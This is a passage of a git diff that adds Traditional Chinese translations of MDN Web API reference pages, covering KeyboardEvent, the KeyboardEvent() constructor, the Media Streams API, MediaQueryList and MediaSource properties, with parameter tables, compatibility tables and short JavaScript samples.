+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.code")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.key</code></td>
+   <td colspan="6">See Browser compatibility table of {{domxref("KeyboardEvent.key")}}.</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.getModifierState()</code></td>
+   <td colspan="5" rowspan="1">See Browser compatibility of {{domxref("KeyboardEvent.getModifierState")}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The arguments of <code>initKeyboardEvent()</code> of WebKit and Blink's are different from the definition in DOM Level 3 Events. The method is: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyIndentifierArg, in number locationArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in boolean altGraphKeyArg)</code></p>
+
+<p>[2] Gecko won't support <code>initKeyboardEvent()</code> because supporting it completely breaks feature detection of web applications. See {{Bug(999645)}}.</p>
+
+<p>[3] The argument of <code>initKeyboardEvent()</code> of IE is different from the definition in DOM Level 3 Events. The method is: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyArg, in number locationArg, in DOMString modifierListArg, in boolean repeatArt, in DOMString locationArg)</code>. See <a href="http://msdn.microsoft.com/en-us/library/ie/ff975297%28v=vs.85%29.aspx">document of <code>initKeyboardEvent()</code> in MSDN</a>.</p>
+
+<p><a href="http://www.howtocreate.co.uk/tutorials/javascript/domevents#domevld1">[4]</a> Note that manually firing an event does <em>not</em> generate the default action associated with that event. For example, manually firing a key event does not cause that letter to appear in a focused text input. In the case of UI events, this is important for security reasons, as it prevents scripts from simulating user actions that interact with the browser itself.</p>
diff --git a/files/zh-tw/web/api/keyboardevent/keyboardevent/index.html b/files/zh-tw/web/api/keyboardevent/keyboardevent/index.html
new file mode 100644
index 0000000000..3af92514bb
--- /dev/null
+++ b/files/zh-tw/web/api/keyboardevent/keyboardevent/index.html
@@ -0,0 +1,202 @@
+---
+title: KeyboardEvent()
+slug: Web/API/KeyboardEvent/KeyboardEvent
+translation_of: Web/API/KeyboardEvent/KeyboardEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>KeyboardEvent()</code></strong> constructor 能用來建立一個新的 {{domxref("KeyboardEvent")}}。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"> <em>event</em> = new KeyboardEvent(<em>typeArg</em>, <em>KeyboardEventInit</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>一 {{domxref("DOMString")}} 用來表示事件名稱。</dd>
+ <dt><em>KeyboardEventInit</em>{{optional_inline}}</dt>
+ <dd>一個 <code>KeyboardEventInit</code> dictionary，能接受以下參數：
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th>參數</th>
+    <th>可選</th>
+    <th>默認值</th>
+    <th>類型</th>
+    <th>說明</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>"key"</code></td>
+    <td>●</td>
+    <td><code>""</code></td>
+    <td>{{domxref("DOMString")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.key")}} 的值</td>
+   </tr>
+   <tr>
+    <td><code>"code"</code></td>
+    <td>●</td>
+    <td><code>""</code></td>
+    <td>{{domxref("DOMString")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.code")}} 的值</td>
+   </tr>
+   <tr>
+    <td><code>"location"</code></td>
+    <td>●</td>
+    <td>0</td>
+    <td><code>unsigned long</code></td>
+    <td>用來設定 {{domxref("KeyboardEvent.location")}} 的值</td>
+   </tr>
+   <tr>
+    <td><code>"ctrlKey"</code></td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.ctrlKey")}} 的值</td>
+   </tr>
+   <tr>
+    <td><code>"shiftKey"</code></td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.shiftKey")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"altKey"</td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.altKey")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"metaKey"</td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.metaKey")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"repeat"</td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.repeat")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"isComposing"</td>
+    <td>●</td>
+    <td><code>false</code></td>
+    <td>{{jsxref("Boolean")}}</td>
+    <td>用來設定 {{domxref("KeyboardEvent.isComposing")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"charCode"</td>
+    <td>●</td>
+    <td>0</td>
+    <td><code>unsigned long</code></td>
+    <td>用來設定 {{domxref("KeyboardEvent.charCode")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"keyCode"</td>
+    <td>●</td>
+    <td>0</td>
+    <td><code>unsigned long</code></td>
+    <td>用來設定 {{domxref("KeyboardEvent.keyCode")}} 的值</td>
+   </tr>
+   <tr>
+    <td>"which"</td>
+    <td>●</td>
+    <td>0</td>
+    <td><code>unsigned long</code></td>
+    <td>用來設定 {{domxref("KeyboardEvent.which")}} 的值</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><em> <code>KeyboardEventInit</code> dictionary 亦接受 {{domxref("UIEvent.UIEvent", "UIEventInit")}} 和{{domxref("Event.Event", "EventInit")}} 所接受的參數。</em></p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">規格</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#interface-KeyboardEvent','KeyboardEvent()')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(13) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(31) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent")}} ，此 constructer 所建立的 object 的 interface</li>
+</ul>
diff --git a/files/zh-tw/web/api/media_streams_api/index.html b/files/zh-tw/web/api/media_streams_api/index.html
new file mode 100644
index 0000000000..6813a5d1d6
--- /dev/null
+++ b/files/zh-tw/web/api/media_streams_api/index.html
@@ -0,0 +1,87 @@
+---
+title: Media Capture and Streams API (Media Stream)
+slug: Web/API/Media_Streams_API
+tags:
+  - API
+  - Audio
+  - Media
+  - Video
+translation_of: Web/API/Media_Streams_API
+---
+<div>{{DefaultAPISidebar("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">該<strong>媒體捕獲和流</strong>API，通常被稱為<strong>媒體流API</strong>或者乾脆<strong>MediaStream API</strong>，是關係到一個API<a href="/en-US/docs/Web/API/WebRTC_API">的WebRTC</a>提供流式音頻和視頻數據的支持。</span>它提供了用於處理流及其組成軌道的接口和方法，與數據格式關聯的約束，異步使用數據時的成功和錯誤回調以及在此過程中觸發的事件。</p>
+
+<h2 id="概念和用法">概念和用法</h2>
+
+<p>該API基於{{domxref("MediaStream")}}對象的操作，該對象代表與音頻或視頻相關的數據流。請參閱“<a href="/en-US/docs/WebRTC/taking_webcam_photos#Get_the_video">獲取視頻”中</a>的示例。</p>
+
+<p>A <code>MediaStream</code> consists of zero or more {{domxref("MediaStreamTrack")}} objects, representing various audio or video <strong>tracks</strong>. Each <code>MediaStreamTrack</code> may have one or more <strong>channels</strong>. The channel represents the smallest unit of a media stream, such as an audio signal associated with a given speaker, like <em>left</em> or <em>right</em> in a stereo audio track.</p>
+
+<p><code>MediaStream</code> objects have a single <strong>input</strong> and a single <strong>output</strong>. A <code>MediaStream</code> object generated by {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} is called <em>local</em>, and has as its source input one of the user's cameras or microphones. A non-local <code>MediaStream</code> may be representing to a media element, like {{HTMLElement("video")}} or {{HTMLElement("audio")}}, a stream originating over the network, and obtained via the WebRTC {{domxref("RTCPeerConnection")}} API, or a stream created using the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}.</p>
+
+<p>The output of the <code>MediaStream</code> object is linked to a <strong>consumer</strong>. It can be a media elements, like {{HTMLElement("audio")}} or {{HTMLElement("video")}}, the WebRTC {{domxref("RTCPeerConnection")}} API or a <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>In these reference articles, you'll find the fundamental information you'll need to know about each of the interfaces that make up the Media Capture and Streams API.</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("CanvasCaptureMediaStreamTrack")}}</li>
+ <li>{{domxref("InputDeviceInfo")}}</li>
+ <li>{{domxref("MediaDeviceKind")}}</li>
+ <li>{{domxref("MediaDeviceInfo")}}</li>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MediaStreamTrackEvent")}}</li>
+ <li>{{domxref("MediaTrackCapabilities")}}</li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaTrackSettings")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("NavigatorUserMedia")}}</li>
+ <li>{{domxref("NavigatorUserMediaError")}}</li>
+ <li>{{domxref("OverconstrainedError")}}</li>
+ <li>{{domxref("URL")}}</li>
+</ul>
+</div>
+
+<p>Early versions of the Media Capture and Streams API specification included separate <code>AudioStreamTrack</code> and <code>VideoStreamTrack</code> interfaces—each based upon {{domxref("MediaStreamTrack")}}—which represented streams of those types. These no longer exist, and you should update any existing code to instead use <code>MediaStreamTrack</code> directly.</p>
+
+<h2 id="Events">Events</h2>
+
+<div class="index">
+<ul>
+ <li>{{event("addtrack")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("muted")}}</li>
+ <li>{{event("overconstrained")}}</li>
+ <li>{{event("removetrack")}}</li>
+ <li>{{event("started")}}</li>
+ <li>{{event("unmuted")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides_and_tutorials">Guides and tutorials</h2>
+
+<p>The articles below provide additional guidance and how-to information that will help you learn to use the API, and how to perform specific tasks that you may wish to handle.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">此頁面上的兼容性表是根據結構化數據生成的。如果您想提供數據，請查看<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>並向我們發送請求請求。</div>
+
+<p>{{Compat("api.MediaStream")}}</p>
+
+<h2 id="也可以看看">也可以看看</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> -API簡介頁</li>
+ <li>{{domxref("mediaDevices.getUserMedia()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">使用WebRTC拍攝靜態照片</a>：有關使用<code>getUserMedia()</code>。</li>
+</ul>
diff --git a/files/zh-tw/web/api/mediaquerylist/index.html b/files/zh-tw/web/api/mediaquerylist/index.html
new file mode 100644
index 0000000000..ef3128a4b8
--- /dev/null
+++ b/files/zh-tw/web/api/mediaquerylist/index.html
@@ -0,0 +1,144 @@
+---
+title: MediaQueryList
+slug: Web/API/MediaQueryList
+translation_of: Web/API/MediaQueryList
+---
+<div>{{APIRef("CSSOM View")}}{{SeeCompatTable}}</div>
+
+<p><code>MediaQueryList</code> 物件維護一組針對 {{ domxref("document") }} 的 <a href="/en-US/docs/CSS/Media_queries" style="line-height: 19.0909080505371px;" title="CSS/Media queries">media querie</a> , 並且當 media querie 相對應的文件狀態改變時，觸發註冊的事件處理器通知之。</p>
+
+<p><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 19.0909080505371px;">MediaQueryList</span><span style="line-height: 19.0909080505371px;"> 物件讓我們不用一直定期去偵測，而是直接去觀察文件的狀態變化。</span></p>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en-US/docs/DOM/MediaQueryList#addListener()" title="DOM/MediaQueryList#addListener()">addListener</a>(MediaQueryListListener listener);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en-US/docs/DOM/MediaQueryList#removeListener()" title="DOM/MediaQueryList#removeListener()">removeListener</a>(MediaQueryListListener listener);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>matches</code></td>
+   <td><code>boolean</code></td>
+   <td><code>true</code> 當 {{ domxref("document") }} 目前狀態符合 media query list 所維護的條件; 否則 false。 唯獨<strong>。</strong></td>
+  </tr>
+  <tr>
+   <td><code>media</code></td>
+   <td><code>DOMString</code></td>
+   <td>序列化 (serialized) 的 media query list.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="addListener()" name="addListener()">addListener()</h3>
+
+<p>添加一個新的事件處理器 (listener)，若 <span style="line-height: 19.0909080505371px;">listener </span>已存在則無作用。</p>
+
+<pre>void addListener(
+  MediaQueryListListener listener
+);</pre>
+
+<h4 id="Parameter_(for_addListener_method)" name="Parameter_(for_addListener_method)">Parameter (for addListener method)</h4>
+
+<dl>
+ <dt><code>listener</code></dt>
+ <dd>當 media query 對應的狀態改變時所觸發的事件處理函數 ({{ domxref("MediaQueryListListener") }})。</dd>
+</dl>
+
+<h3 id="removeListener()" name="removeListener()">removeListener()</h3>
+
+<p><span style="line-height: 19.0909080505371px;">移除一個事件處理器 (</span><span style="line-height: 19.0909080505371px;">listener)，若 </span><span style="line-height: 19.0909080505371px;">listener 不</span><span style="line-height: 19.0909080505371px;">存在則無作用。</span></p>
+
+<pre>void removeListener(
+  MediaQueryListListener listener
+);</pre>
+
+<h4 id="Parameter_(for_removeListener_method)" name="Parameter_(for_removeListener_method)">Parameter (for removeListener method)</h4>
+
+<dl>
+ <dt><code>listener</code></dt>
+ <dd>欲移除的<span style="line-height: 19.0909080505371px;">事件處理函數</span><span style="line-height: 19.0909080505371px;"> ({{ domxref("MediaQueryListListener") }})。</span></dd>
+</dl>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification"> </h2>
+
+<h2 id="Specification" name="Specification">規範標準</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#the-mediaquerylist-interface" title="http://dev.w3.org/csswg/cssom-view/#the-mediaquerylist-interface">The CSSOM View Module: The MediaQueryList Interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{ domxref("window.matchMedia()") }}</li>
+ <li>{{ domxref("MediaQueryListListener") }}</li>
+</ul>
diff --git a/files/zh-tw/web/api/mediasource/activesourcebuffers/index.html b/files/zh-tw/web/api/mediasource/activesourcebuffers/index.html
new file mode 100644
index 0000000000..90777f675c
--- /dev/null
+++ b/files/zh-tw/web/api/mediasource/activesourcebuffers/index.html
@@ -0,0 +1,126 @@
+---
+title: MediaSource.activeSourceBuffers
+slug: Web/API/MediaSource/activeSourceBuffers
+translation_of: Web/API/MediaSource/activeSourceBuffers
+---
+<div>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>activeSourceBuffers</strong></code> 是 {{domxref("MediaSource")}} 介面的唯讀屬性，回傳一個 {{domxref("SourceBufferList")}} 物件，含有在 {{domxref("SourceBuffers")}} 之中的 {{domxref("SourceBuffer")}} 物件子集合—物件的串列提供被選擇的影片軌 (video track), 啟用的音軌 (audio tracks), 以及顯示或隱藏的字軌。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var myActiveSourceBuffers = mediaSource.activeSourceBuffers;</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個 {{domxref("SourceBufferList")}} 。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>以下的片段基於 Nick Desaulniers 所編纂的簡單範例（<a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">觀看實際演示</a>，或者<a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">下載原始碼</a> 以利更進一步研究。）</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">function</span> sourceOpen <span class="punctuation token">(</span>_<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> //console.log(this.readyState); // open
+</span>  <span class="keyword token">var</span> mediaSource <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> sourceBuffer <span class="operator token">=</span> mediaSource<span class="punctuation token">.</span><span class="function token">addSourceBuffer<span class="punctuation token">(</span></span>mimeCodec<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">fetchAB<span class="punctuation token">(</span></span>assetURL<span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>buf<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    sourceBuffer<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'updateend'</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>_<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      mediaSource<span class="punctuation token">.</span><span class="function token">endOfStream<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;
+      console.log(mediaSource.activeSourceBuffers);
+      // will contain the source buffer that was added above,
+      // as it is selected for playing in the video player</span>
+      video<span class="punctuation token">.</span><span class="function token">play<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+     <span class="comment token"> //console.log(mediaSource.readyState); // ended
+</span>    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    sourceBuffer<span class="punctuation token">.</span><span class="function token">appendBuffer<span class="punctuation token">(</span></span>buf<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;
+
+...</span></code></pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">注釋</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#widl-MediaSource-activeSourceBuffers', 'activeSourceBuffers')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相容性表格">相容性表格</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在切換 about:config 偏好設定 media.mediasource.enabled 為 true 時可以使用。此外，支援只限於白名單內的網站，如：YouTube, Netflix, 以及其他熱門的串流網站。白名單已經被移除且 Media Source Extensions 在 42+ 對所有網站已預設為啟用。</p>
+
+<p>[2] 只在 Windows 8+ 上有效。</p>
+
+<h2 id="相關資料">相關資料</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/mediasource/duration/index.html b/files/zh-tw/web/api/mediasource/duration/index.html
new file mode 100644
index 0000000000..b9fab966e4
--- /dev/null
+++ b/files/zh-tw/web/api/mediasource/duration/index.html
@@ -0,0 +1,149 @@
+---
+title: MediaSource.duration
+slug: Web/API/MediaSource/duration
+translation_of: Web/API/MediaSource/duration
+---
+<div>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("MediaSource")}} 介面的 <code><strong>duration</strong></code> 屬性用來取得以及設置正被表示的媒體時間長度。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">mediaSource.duration = 5.5; // 5.5 seconds
+
+var myDuration = mediaSource.duration;</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>單位為秒的 double 型別。</p>
+
+<h3 id="錯誤">錯誤</h3>
+
+<p>當設置此屬性一個新的值時以下錯誤可能發生。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">錯誤</th>
+   <th scope="col">解釋</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidAccessError</code></td>
+   <td>嘗試設置的時間長度是負值，或者 <code>NaN</code>。</td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>{{domxref("MediaSource.readyState")}} 不是 <code>open</code>，或者 {{domxref("MediaSource.sourceBuffers")}} 中一個或多個以上的 {{domxref("SourceBuffer")}} 物件正在被更新（例如：他們的 {{domxref("SourceBuffer.updating")}} 屬性為 <code>true</code>。）</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<p>以下的片段基於 Nick Desaulniers 所編纂的簡單範例（<a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">觀看實際演示</a>，或者<a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">下載原始碼</a>以利更進一步研究。）</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">function</span> sourceOpen <span class="punctuation token">(</span>_<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> //console.log(this.readyState); // open
+</span>  <span class="keyword token">var</span> mediaSource <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> sourceBuffer <span class="operator token">=</span> mediaSource<span class="punctuation token">.</span><span class="function token">addSourceBuffer<span class="punctuation token">(</span></span>mimeCodec<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">fetchAB<span class="punctuation token">(</span></span>assetURL<span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>buf<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    sourceBuffer<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'updateend'</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>_<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      mediaSource<span class="punctuation token">.</span><span class="function token">endOfStream<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;
+      mediaSource.duration = 120;</span>
+      video<span class="punctuation token">.</span><span class="function token">play<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+     <span class="comment token"> //console.log(mediaSource.readyState); // ended
